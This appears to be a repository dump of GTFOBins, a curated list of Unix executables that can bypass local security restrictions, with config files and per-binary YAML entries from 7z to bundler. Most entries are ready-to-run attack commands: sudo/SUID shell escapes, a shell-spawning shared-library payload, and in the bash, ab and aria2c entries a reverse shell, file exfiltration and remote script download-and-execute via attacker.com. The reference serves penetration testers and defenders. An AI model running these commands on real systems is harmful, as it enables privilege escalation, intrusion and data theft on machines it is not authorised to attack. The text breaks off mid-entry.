how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "Makefile",
    "content": "NAME := gtfobins\nPORT := 4000\n\n.PHONY: serve\nserve:\n\t@echo '# Building the Docker image'\n\t@docker build ./ -t \"$(NAME)\"\n\t@echo '# Building and serving the website'\n\t@rm -fr ./_site/\n\t@docker run \\\n\t\t--rm \\\n\t\t--name \"$(NAME)\" \\\n\t\t--publish \"$(PORT):$(PORT)\" \\\n\t\t--volume \"$$PWD/:/GTFOBins/\" \\\n\t\t\"$(NAME)\" 2>&1 \\\n\t\t| grep -v \"Error: could not read file /GTFOBins/_gtfobins/.*: undefined method \\`split' for nil\"\n\n.PHONY: vet\nvet: ./linter/.venv/\n\t@echo '# Running linter'\n\t@. ./linter/.venv/bin/activate && python -m linter --check-only\n\t@echo '# All good!'\n\n.PHONY: format\nformat: ./linter/.venv/\n\t@if [ \"$$(git ls-files --modified --others --exclude-standard)\" ]; then \\\n\t\techo '# Stage your changes first'; \\\n\t\tfalse; \\\n\tfi\n\t@echo '# Running linter'\n\t@. ./linter/.venv/bin/activate && python -m linter\n\t@echo '# All good!'\n\n.PHONY: clean\nclean:\n\t@echo '# Cleaning up Docker'\n\t@docker kill \"$(NAME)\" &>/dev/null || true\n\t@docker rmi \"$(NAME)\" &>/dev/null || true\n\t@echo '# Cleaning up the filesystem'\n\t@rm -fr ./linter/.venv/\n\t@rm -fr ./_site/\n\n./linter/.venv/:\n\t@echo '# Setting up the virtual environment'\n\t@python3 -m venv ./linter/.venv/\n\t@echo '# Installing dependencies'\n\t@. ./linter/.venv/bin/activate \\\n\t\t&& PIP_USER= pip install --quiet --upgrade pip -r ./linter/requirements.txt\n"
  },
  {
    "path": "README.md",
    "content": "# GTFOBins\n\n[![CI status](https://github.com/GTFOBins/GTFOBins.github.io/actions/workflows/ci.yml/badge.svg)](https://github.com/GTFOBins/GTFOBins.github.io/actions?query=workflow:CI)\n[![CI status](https://github.com/GTFOBins/GTFOBins.github.io/actions/workflows/pages.yml/badge.svg)](https://github.com/GTFOBins/GTFOBins.github.io/actions?query=workflow:Pages)\n[![Sponsor](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&color=%23db61a2)](https://github.com/sponsors/GTFOBins)\n\n<a href=\"https://gtfobins.org\"><img align=\"right\" src=\"assets/logo.png\" style=\"width: 100px\" /></a>\n\nGTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems.\n\nFind the project at: [gtfobins.org](https://gtfobins.org)\n"
  },
  {
    "path": "_config.yml",
    "content": "title: GTFOBins\n\nurl: https://gtfobins.org\n\nexclude:\n  - /CNAME\n  - /Dockerfile\n  - /Gemfile*\n  - /LICENSE\n  - /Makefile\n  - /README.md\n  - /_private/\n  - /linter/\n  - /vendor/ # XXX this needs to be explicitly added\n\npermalink: pretty\n\ncollections:\n  gtfobins:\n    output: true\n\ndefaults:\n  - scope:\n      path: _gtfobins\n    values:\n      layout: gtfobin\n"
  },
  {
    "path": "_data/contexts.yml",
    "content": "unprivileged:\n  label: Unprivileged\n  description: This function can be performed by any unprivileged user.\n\nsudo:\n  label: Sudo\n  description: This function is performed by the privileged user if executed via `sudo` because the acquired privileges are not dropped.\n  extra:\n    environment: If there are environment variables involved, they must be passed via `sudo VAR=value ...` or exported then `sudo -E ...`.\n\nsuid:\n  label: SUID\n  description: This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the *effective* privileges are not dropped.\n  extra:\n    shell:\n      true: This executable runs commands using the system shell, e.g., via functions like `system`, so it only works for distributions where the shell does not drop SUID privileges.\n      false: This executable runs commands directly, e.g., via functions like `exec`, remember to omit the `-p` argument of every `/bin/sh` invocation for distributions where the default shell does not drop SUID privileges.\n\ncapabilities:\n  label: Capabilities\n  description: This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.\n  extra:\n    list: 'The following capabilities are needed:'\n"
  },
  {
    "path": "_data/functions.yml",
    "content": "shell:\n  label: Shell\n  description: This executable can spawn an interactive system shell.\n  mitre:\n  - T1059\n  extra:\n    tty: &tty\n      false: The spawned shell is just a dummy REPL that can only run simple terminal commands.\n    blind: &blind\n      true: The commands are executed but their output is hidden from the attacker.\n\ncommand:\n  label: Command\n  description: This executable can run non-interactive system commands.\n  mitre:\n  - T1059\n  extra:\n    blind: *blind\n\nreverse-shell:\n  label: Reverse shell\n  description: This executable can send back a reverse system shell to a listening attacker.\n  mitre:\n  - T1059\n  - T1071\n  extra:\n    tty: *tty\n    blind: *blind\n    listener:\n      tcp-server:\n        comment: A TCP server can be used on the attacker box to receive the shell.\n        code: nc -l -p 12345\n      tcp-server-tty:\n        comment: A TCP server can be used on the attacker box to receive the shell.\n        code: socat file:/dev/tty,raw,echo=0 tcp-listen:12345\n      tls-server:\n        comment: A TLS server can be used on the attacker box to receive the shell.\n        code: |-\n          openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n          openssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n\nbind-shell:\n  label: Bind shell\n  description: This executable can bind a system shell to a local port waiting for an attacker to connect.\n  mitre:\n  - T1059\n  - T1071\n  extra:\n    tty: *tty\n    blind: *blind\n    connector:\n      tcp-client:\n        comment: A TCP client can be used on the attacker box to connect to the shell.\n        code: nc victim.com 12345\n      tcp-client-tty:\n        comment: A TCP client can be used on the attacker box to receive the shell.\n        code: socat file:/dev/tty,raw,echo=0 tcp:victim.com:12345\n\nfile-write:\n  label: File write\n  description: This executable can write data to local files.\n  mitre:\n  - T1565\n  extra:\n    binary: &binary\n      false: The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.\n\nfile-read:\n  label: File read\n  description: This executable can read data from local files.\n  mitre:\n  - T1005\n  extra:\n    binary: *binary\n\nupload:\n  label: Upload\n  description: This executable can upload local data.\n  mitre:\n  - T1041\n  extra:\n    binary: *binary\n    receiver:\n      tcp-client:\n        comment: A TCP client can be used on the attacker box to receive the data.\n        code: nc victim.com 12345 >/path/to/output-file\n      tcp-server:\n        comment: A TCP server can be used on the attacker box to receive the data.\n        code: nc -l -p 12345 >/path/to/output-file\n      http-client:\n        comment: An HTTP client can be used on the attacker box to receive the data.\n        code: curl victim.com -o /path/to/output-file\n      http-server:\n        comment: An HTTP server can be used on the attacker box to receive the data.\n        code: nc -l -p 80 | awk 'BEGIN {RS=\"\\r\\n\\r\\n\";ORS=\"\"} NR==2' >/path/to/output-file\n      ftp-server:\n        comment: An FTP server can be used on the attacker box to receive the data.\n        code: python -m pyftpdlib -w -p 21\n      ssh-server:\n        comment: An SSH server can be used on the attacker box to receive the data.\n      tls-server:\n        comment: A TLS server can be used on the attacker box to receive the data.\n        code: |-\n          openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n          openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 >/path/to/output-file\n\ndownload:\n  label: Download\n  description: This executable can download remote data.\n  mitre:\n  - T1105\n  extra:\n    binary: *binary\n    sender:\n      tcp-client:\n        comment: A TCP client can be used on the attacker box to send the data.\n        code: nc victim.com 12345 </path/to/input-file\n      tcp-server:\n        comment: A TCP server can be used on the attacker box to send the data.\n        code: nc -l -p 12345 </path/to/input-file\n      http-client:\n        comment: An HTTP client can be used on the attacker box to send the data.\n        code: curl victim.com --data-binary @/path/to/input-file\n      http-server:\n        comment: An HTTP server can be used on the attacker box to send the data.\n        code: python -m http.server 80\n      ftp-server:\n        comment: An FTP server can be used on the attacker box to send the data.\n        code: python -m pyftpdlib -w -p 21\n      ssh-server:\n        comment: An SSH server can be used on the attacker box to send the data.\n      tls-server:\n        comment: A TLS server can be used on the attacker box to send the data.\n        code: |-\n          openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n          openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 </path/to/input-file\n\nlibrary-load:\n  label: Library load\n  description: This executable can load shared libraries that may be used to run arbitrary code in the same execution context.\n  mitre:\n  - T1574\n  extra:\n    payload: |-\n      As an example, the following can be used to create a minimal shared library (`lib.so`) that spawns a shell upon loading:\n\n      ```\n      echo '__attribute__((constructor)) init() { execl(\"/bin/sh\", \"sh\", 0); }' \\\n          | gcc -w -fPIC -shared -o lib.so -x c -\n      ```\n\n      Add the usual `-p` argument to the shell for SUID contexts. Consider calling `setuid(0);` beforehand if the executable has the `CAP_SETUID` capability assigned.\n\nprivilege-escalation:\n  label: Privilege escalation\n  description: This executable provides a mechanism for privilege escalation by indirectly enabling elevated privileges, such as setting the SUID bit or modifying the ownership of another executable.\n  mitre:\n  - T1548\n\ninherit:\n  label: Inherit\n  description: This executable can inherit functions from another.\n"
  },
  {
    "path": "_gtfobins/7z",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      7z a -ttar -an -so /path/to/input-file | 7z e -ttar -si -so\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/R",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      R --no-save -e 'system(\"/bin/sh\")'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/aa-exec",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      aa-exec /bin/sh\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ab",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      ab -v2 http://attacker.com/path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: http-server\n  upload:\n  - code: |-\n      ab -p /path/to/input-file http://attacker.com/\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: http-server\n...\n"
  },
  {
    "path": "_gtfobins/acr",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      echo -e 'x:\\n\\t/bin/sh 1>&0 2>&0' >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      acr -r ./relative/path/to/temp-file\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/agetty",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      agetty -l /bin/sh -o -p -a root tty\n    contexts:\n      suid:\n        shell: false\n...\n"
  },
  {
    "path": "_gtfobins/alpine",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      alpine -F /path/to/input-file\n    comment: |-\n      The file is displayed in the terminal interface. Other options might be available, for example, by pressing `S` is possible to save the file content elsewhere.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ansible-playbook",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file\n      ansible-playbook /path/to/temp-file\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ansible-test",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ansible-test shell\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/aoss",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      aoss /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/apache2",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      apache2 -f /path/to/input-file\n    comment: |-\n      The first line may be leaked as an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - binary: false\n    code: |-\n      apache2 -C 'Define APACHE_RUN_DIR /' -C 'Include /path/to/input-file'\n    comment: |-\n      The first line may be leaked as an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/apache2ctl",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      apache2ctl -c 'Include /path/to/input-file'\n    comment: |-\n      The first line only is likely leaked as an error message.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/apport-cli",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      apport-cli -f\n      1\n      2\n      v\n    comment: |-\n      The terminal interface expects some choices in order to spawn tha pager.\n    contexts:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/apt",
    "content": "---\nalias: apt-get\n...\n"
  },
  {
    "path": "_gtfobins/apt-get",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      apt-get changelog apt\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n  shell:\n  - code: |-\n      echo 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' >/path/to/temp-file\n      apt-get -y install -c /path/to/temp-file sl\n    comment: |-\n      For this to work the target package (i.e., `sl`) must not be already installed.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n  - code: |-\n      apt-get update -o APT::Update::Pre-Invoke::=/bin/sh\n    comment: |-\n      When the shell exits the `update` command is actually executed.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n...\n"
  },
  {
    "path": "_gtfobins/aptitude",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      aptitude changelog aptitude\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/ar",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      ar r /path/to/output-file /path/to/input-file\n      ar p /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/arch-nspawn",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      mkdir -p ./etc/\n      grep -oP \"^CHROOT_VERSION='\\K[^']+\" /usr/share/devtools/lib/archroot.sh >.arch-chroot\n      touch ./etc/pacman.conf\n      echo 'CARCH=true;/bin/sh;exit' >etc/makepkg.conf\n      arch-nspawn .\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/aria2c",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      echo /path/to/command >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain\n    comment: |-\n      Note that the subprocess is immediately sent to the background.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa\n    comment: |-\n      The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  download:\n  - code: |-\n      aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file\n    comment: |-\n      Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-read:\n  - binary: false\n    code: |-\n      aria2c -i /path/to/input-file\n    comment: |-\n      The file is leaked as error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/arj",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      arj a /path/to/output-file /path/to/input-file\n      arj p /path/to/output-file\n    comment: |-\n      The `.arj` suffix will be added to `output-file`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA >output-file\n      arj a x output-file\n      arj e x /path/to/output-dir/\n    comment: |-\n      The `.arj` suffix will be added to `x`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/arp",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      arp -v -f /path/to/input-file\n    comment: |-\n      Lines are likely leaked as error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/as",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      as @/path/to/input-file\n    comment: |-\n      Lines are likely leaked as error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ascii-xfr",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      ascii-xfr -ns /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ascii85",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      ascii85 /path/to/input-file | ascii85 --decode\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ash",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      ash -c 'echo DATA >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          ash -p -c 'echo DATA >/path/to/output-file'\n      unprivileged:\n  shell:\n  - code: |-\n      ash\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          ash -p\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/aspell",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      aspell -c /path/to/input-file\n    comment: |-\n      The textual file is displayed in an interactive TUI showing only the parts that contain mispelled words.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - binary: false\n    code: |-\n      aspell --conf /path/to/input-file\n    comment: |-\n      The first word is likely displayed as error messaged, and converted to lowercase.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/asterisk",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      asterisk -r\n      !/bin/sh\n    comment: |-\n      A server instance must be already running, otherwise it can be started with `sudo asterisk -F`. Moreover, the invoking user must be able to access the socket.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/at",
    "content": "---\nfunctions:\n  command:\n  - blind: true\n    code: |-\n      echo /path/to/command | at now\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | at now; tail -f /dev/null\n    comment: |-\n      `tail` is used to pause the terminal.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/atobm",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      atobm /path/to/input-file\n    comment: |-\n      Outputs only the first line of the file to standard error without the `-` and `#` characters, this can be customized with the `-c` option, by default is `-c -#`. Content can be retrieved with `awk -F \"'\" '{printf \"%s\", $2}'`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/autoconf",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo /bin/sh >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      touch configure.ac\n      AUTOM4TE=/path/to/temp-file autoconf\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/autoheader",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo '/bin/sh 1>&0' >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      touch configure.ac\n      AUTOM4TE=/path/to/temp-file autoheader\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/autoreconf",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo '/bin/sh 1>&0' >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      echo AC_INIT >configure.ac\n      AUTOM4TE=/path/to/temp-file autoreconf\n    comment: |-\n      The shell is invoked multiple times.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/awk",
    "content": "---\nalias: mawk\n...\n"
  },
  {
    "path": "_gtfobins/aws",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      aws ec2 describe-instances --filter file:///path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      aws help\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/base32",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      base32 /path/to/input-file | base32 --decode\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/base58",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      base58 /path/to/input-file | base58 --decode\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/base64",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      base64 /path/to/input-file | base64 --decode\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/basenc",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      basenc --base64 /path/to/input-file | basenc -d --base64\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/basez",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      basez /path/to/input-file | basez --decode\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/bash",
    "content": "---\nfunctions:\n  download:\n  - binary: false\n    code: |-\n      bash -c '{ echo -ne \"GET /path/to/input-file HTTP/1.0\\r\\nhost: attacker.com\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n          3<>/dev/tcp/attacker.com/12345 \\\n          | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          bash -p -c '{ echo -ne \"GET /path/to/input-file HTTP/1.0\\r\\nhost: attacker.com\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n              3<>/dev/tcp/attacker.com/12345 \\\n              | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } >/path/to/output-file'\n      unprivileged:\n    sender: http-server\n  - binary: false\n    code: |-\n      bash -c 'echo \"$(</dev/tcp/attacker.com/12345) >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          bash -p -c 'echo \"$(</dev/tcp/attacker.com/12345) >/path/to/output-file'\n      unprivileged:\n    sender: tcp-server\n  file-read:\n  - binary: false\n    code: |-\n      bash -c 'echo \"$(</path/to/input-file)\"'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          bash -p -c 'echo \"$(</path/to/input-file)\"'\n      unprivileged:\n  - binary: false\n    code: |-\n      HISTTIMEFORMAT=$'\\r\\e[K'\n      history -c\n      history -r /path/to/input-file\n      history\n    comment: |-\n      This only works interactively from an existing `bash` session.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      bash -c 'echo DATA >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          bash -p -c 'echo DATA >/path/to/output-file'\n      unprivileged:\n  - binary: false\n    code: |-\n      HISTIGNORE='history *'\n      history -c\n      DATA\n      history -w /path/to/output-file\n    comment: |-\n      This only works interactively from an existing `bash` session. It adds timestamps to the output file.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  library-load:\n  - code: |-\n      bash -c 'enable -f /path/to/lib.so x'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          bash -p -c 'enable -f /path/to/lib.so x'\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          bash -p -c 'exec bash -p -i &>/dev/tcp/attacker.com/12345 <&1'\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      bash\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          bash -p\n      unprivileged:\n  upload:\n  - binary: false\n    code: |-\n      bash -c 'echo -e \"POST / HTTP/0.9\\n\\n$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          bash -p -c 'echo -e \"POST / HTTP/0.9\\n\\n$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'\n      unprivileged:\n    receiver: http-server\n  - binary: false\n    code: |-\n      bash -c 'echo -n \"$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          bash -p -c 'echo -n \"$(</path/to/input-file)\" >/dev/tcp/attacker.com/12345'\n      unprivileged:\n    receiver: tcp-server\n...\n"
  },
  {
    "path": "_gtfobins/bashbug",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      bashbug\n    contexts:\n      sudo:\n      unprivileged:\n    from: vi\n...\n"
  },
  {
    "path": "_gtfobins/batcat",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      batcat --paging always /etc/hosts\n    comment: |-\n      `--paging always` can be omitted provided that the output doesn't fit the screen.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/bbot",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      bbot -d -cy /path/to/input-file\n    comment: |-\n      The file is displayed in the debug log.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/bc",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      bc -s /path/to/input-file\n      quit\n    comment: |-\n      The file content is actually parsed and appears as error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/bconsole",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      bconsole -c /path/to/file-input\n    comment: |-\n      The file is actually parsed and the first wrong line is returned in an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      bconsole\n      @exec /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/bee",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      bee eval '...'\n    comment: |-\n      This allows to run PHP code (`...`).\n\n      This must be excuted from the Backdrop CMS root directory (e.g. `/var/www/html`), alternatively use the `--root` option.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: php\n...\n"
  },
  {
    "path": "_gtfobins/borg",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      borg extract @:/::: --rsh \"/bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'\"\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/bpftrace",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      bpftrace --unsafe -e 'BEGIN {system(\"/bin/sh 1<&0\");exit()}'\n    contexts:\n      sudo:\n  - code: |-\n      echo 'BEGIN {system(\"/bin/sh 1<&0\");exit()}' >/path/to/temp-file\n      bpftrace --unsafe /path/to/temp-file\n    contexts:\n      sudo:\n  - code: |-\n      bpftrace -c /bin/sh -e 'END {exit()}'\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/bridge",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      bridge -b /path/to/input-file\n    comment: |-\n      Outputs the first line of the file (until the first whitespace) inside an error message to stdandard error.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/bundle",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      bundle help\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n  - code: |-\n      touch Gemfile\n      bundle console\n    contexts:\n      sudo:\n      unprivileged:\n    from: irb\n  shell:\n  - code: |-\n      BUNDLE_GEMFILE=x bundle exec /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      touch Gemfile\n      bundle exec /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      echo 'system(\"/bin/sh\")' >Gemfile\n      bundle install\n    comment: |-\n      This might run the shell twice, one after the other.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/bundler",
    "content": "---\nalias: bundle\n...\n"
  },
  {
    "path": "_gtfobins/busctl",
